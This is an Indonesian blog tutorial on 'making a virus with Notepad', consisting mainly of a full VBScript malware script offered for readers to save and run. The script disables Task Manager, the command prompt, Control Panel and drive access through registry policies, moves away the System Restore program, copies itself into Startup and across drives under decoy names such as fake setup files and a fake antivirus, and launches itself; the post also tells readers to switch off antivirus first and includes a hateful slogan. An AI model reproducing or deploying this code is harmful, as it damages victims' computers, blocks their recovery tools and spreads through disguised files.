Cara membuat Virus dengan notepad V.2

Pada waktu yang lalu saya telah mempublikasikan cara membuat virus Kspoold. Dan pada saat ini saya akan mempublikasikan kembali cara membuat virus tapi kali ini kalian dapat membuat virus dengan nama hasil buatan virus kalian. Yak langsung saja ke to the point :
Caranya sangat mudah untuk membuat virus ini :

• Pertama" buka "NotePad",
• Lalu, copas scrip di bawah ini !!!
  

On error resume next
Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner
set Regpen = CreateObject ("Wscript.Shell")
set FSO = CreateObject ("Scripting.FileSystemObject")
set Creator = FSO.CreateTextFile ("C:\indonesia.vbs", true)
Creator.WriteLine ("Msgbox ("& Chr (34) & "zionis fuck you :<" & chr (34)& ")") Creator.Close Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\NoRun","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableCMD","1","REG_DW ORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoDrives","16","REG_D WORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\NoSetTaskbar","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD" Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption", "THE Syaithan-X" Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeText","ASSALAMUALA IKUM, YA AHLIL KUBUR" Set Copier = FSO.GetFile ("C:\indonesia.vbs") Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe.vbs") FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("D:\Program") FSO.CreateFolder ("E:\Program") FSO.CreateFolder ("F:\Program") FSO.CreateFolder ("G:\Program") FSO.CreateFolder ("H:\Program") FSO.CreateFolder ("I:\Program") FSO.CreateFolder ("J:\Program") FSO.CreateFolder ("K:\Program") Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe") Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu") set Dupler = FSO.GetFile (WScript.ScriptFullName) Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\fearless.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\fearless_antivirus.exe.vbs") Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs") Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs") Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs") Dupler.Copy ("F:\Program\Ansav_SETUP.vbs") Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("I:\Program\Ansav_SETUP.vbs") Dupler.Copy ("J:\Program\Project.vbs") Dupler.Copy ("K:\Program\fearless.vbs") Set Runner = WScript.CreateObject ("WScript.Shell") Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\fearless.vbs")

• Selanjudnya simpan dengan format "all file" >>>
• Lalu beri nama virus Ex: Random_greg.vbs
  

keterangan :

• Sebelum menjalankan virus "non aktifkan" dulu anti virusnya
• Virus ini dapat di detect oleh SMADAV

Hahahahaha.........................
Jangan lupa komentarnya dan berikan tanggapannya

Posted in: Programer